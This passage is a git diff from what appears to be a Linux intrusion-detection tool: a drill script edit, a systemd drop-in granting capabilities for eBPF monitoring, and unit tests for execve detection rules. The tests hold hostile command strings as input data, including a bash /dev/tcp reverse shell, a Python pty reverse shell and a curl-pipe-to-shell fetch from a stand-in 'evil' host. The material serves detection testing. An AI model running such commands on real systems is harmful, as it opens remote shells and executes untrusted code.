run "$d"; done -echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:" -if [ -x /usr/local/bin/sentinel.sh ]; then - sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \ - | grep -i drill && echo " ^ Sentinel saw the drills." \ - || echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)" +echo -e "\n[*] drills live for ${HOLD}s. Run a one-shot poll check now:" +if command -v enodia-sentinel >/dev/null 2>&1; then + enodia-sentinel check 2>/dev/null | grep -i 'drill\|/tmp/enodia' \ + && echo " ^ Sentinel's poll detectors saw the drills." \ + || echo " (no poll hits yet — watch /var/log/enodia-sentinel/events.log)" +else + echo " (enodia-sentinel not on PATH — watch /var/log/enodia-sentinel/events.log)" fi +echo " The 'ebpf_exec' drill only shows up with the eBPF monitor (service as root)." echo "[*] holding for ${HOLD}s, then cleaning up..." sleep "$HOLD" diff --git a/systemd/enodia-sentinel-ebpf.conf b/systemd/enodia-sentinel-ebpf.conf new file mode 100644 index 0000000..fbabc4a --- /dev/null +++ b/systemd/enodia-sentinel-ebpf.conf @@ -0,0 +1,17 @@ +# Drop-in to enable the eBPF execve monitor. +# Install as: /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf +# +# The base unit is hardened for poll-only operation. bcc (the eBPF frontend) +# JIT-compiles its programs at load time and loads/attaches BPF, which the base +# unit's MemoryDenyWriteExecute and minimal capability set deliberately forbid. +# This drop-in relaxes exactly those, and nothing else — a conscious tradeoff: +# the event layer's value (catching short-lived processes) in exchange for a +# wider privilege surface. If you don't need it, don't install this file. + +[Service] +# bcc compiles eBPF to native code at runtime -> needs write+exec memory. +MemoryDenyWriteExecute=no +# CAP_BPF/CAP_PERFMON: load BPF + open perf buffers. CAP_SYS_ADMIN: attach +# kprobes on many kernels. CAP_SYS_RESOURCE: raise the locked-memory limit. +AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE +CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE diff --git a/tests/test_exec_rules.py b/tests/test_exec_rules.py new file mode 100644 index 0000000..7e5655e --- /dev/null +++ b/tests/test_exec_rules.py @@ -0,0 +1,101 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Tests for the Snort-style execve rule engine (pure, no kernel needed).""" +import unittest + +from enodia_sentinel.alert import Severity +from enodia_sentinel.events.exec_event import ExecEvent +from enodia_sentinel.events.rules import ( + DEFAULT_EXEC_RULES, + ExecRule, + ExecRuleEngine, +) + + +def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0): + return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent, + filename=filename, argv=tuple(argv)) + + +class TestExecEvent(unittest.TestCase): + def test_derived_fields(self): + e = ev(filename="/tmp/x", argv=("-c", "echo hi")) + self.assertEqual(e.exec_comm, "x") + self.assertEqual(e.argv_str, "/tmp/x -c echo hi") + + +class TestDefaultRules(unittest.TestCase): + def setUp(self): + self.engine = ExecRuleEngine() + + def sids(self, e): + return {a.sid for a in self.engine.match(e)} + + def test_fileless_tmp_exec(self): + self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper"))) + self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload"))) + + def test_normal_path_no_fileless(self): + self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3"))) + + def test_reverse_shell_devtcp(self): + e = ev(filename="/bin/bash", + argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")) + self.assertIn(100002, self.sids(e)) + + def test_reverse_shell_python(self): + e = ev(filename="/usr/bin/python3", + argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')")) + self.assertIn(100002, self.sids(e)) + + def test_benign_command_no_reverse_shell(self): + self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",)))) + + def test_web_rce_shell_from_nginx(self): + e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id")) + sids = self.sids(e) + self.assertIn(100003, sids) + + def test_web_rce_requires_interpreter_child(self): + # nginx spawning a normal helper is not an interpreter -> no web-rce + e = ev(filename="/usr/bin/convert", parent="nginx") + self.assertNotIn(100003, self.sids(e)) + + def test_login_shell_not_web_rce(self): + # sshd spawning bash is a normal login, not in the web/db server set + e = ev(filename="/bin/bash", parent="sshd") + self.assertNotIn(100003, self.sids(e)) + + def test_curl_pipe_sh(self): + e = ev(filename="/bin/sh", + argv=("-c", "curl http://evil/x.sh | sh")) + self.assertIn(100004, self.sids(e)) + + def test_severities(self): + sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES} + self.assertEqual(sev[100001], Severity.CRITICAL) + self.assertEqual(sev[100002], Severity.CRITICAL) + self.assertEqual(sev[100004], Severity.HIGH) + + def test_alert_carries_sid_and_classtype(self): + e = ev(filename="/tmp/x") + alert = next(iter(self.engine.match(e))) + self.assertEqual(alert.sid, 100001) + self.assertEqual(alert.classtype, "fileless-execution") + self.assertEqual(alert.pids, (e.pid,)) + + +class TestRuleValidation(unittest.TestCase): + def test_rule_with_no_conditions_rejected(self): + with self.assertRaises(ValueError): + ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y") + + def test_parent_exclude(self): + rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c", + exec_comm=frozenset({"bash"}), + parent_exclude=frozenset({"sshd"})) + self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron"))) + self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd"))) + + +if __name__ == "__main__": + unittest.main()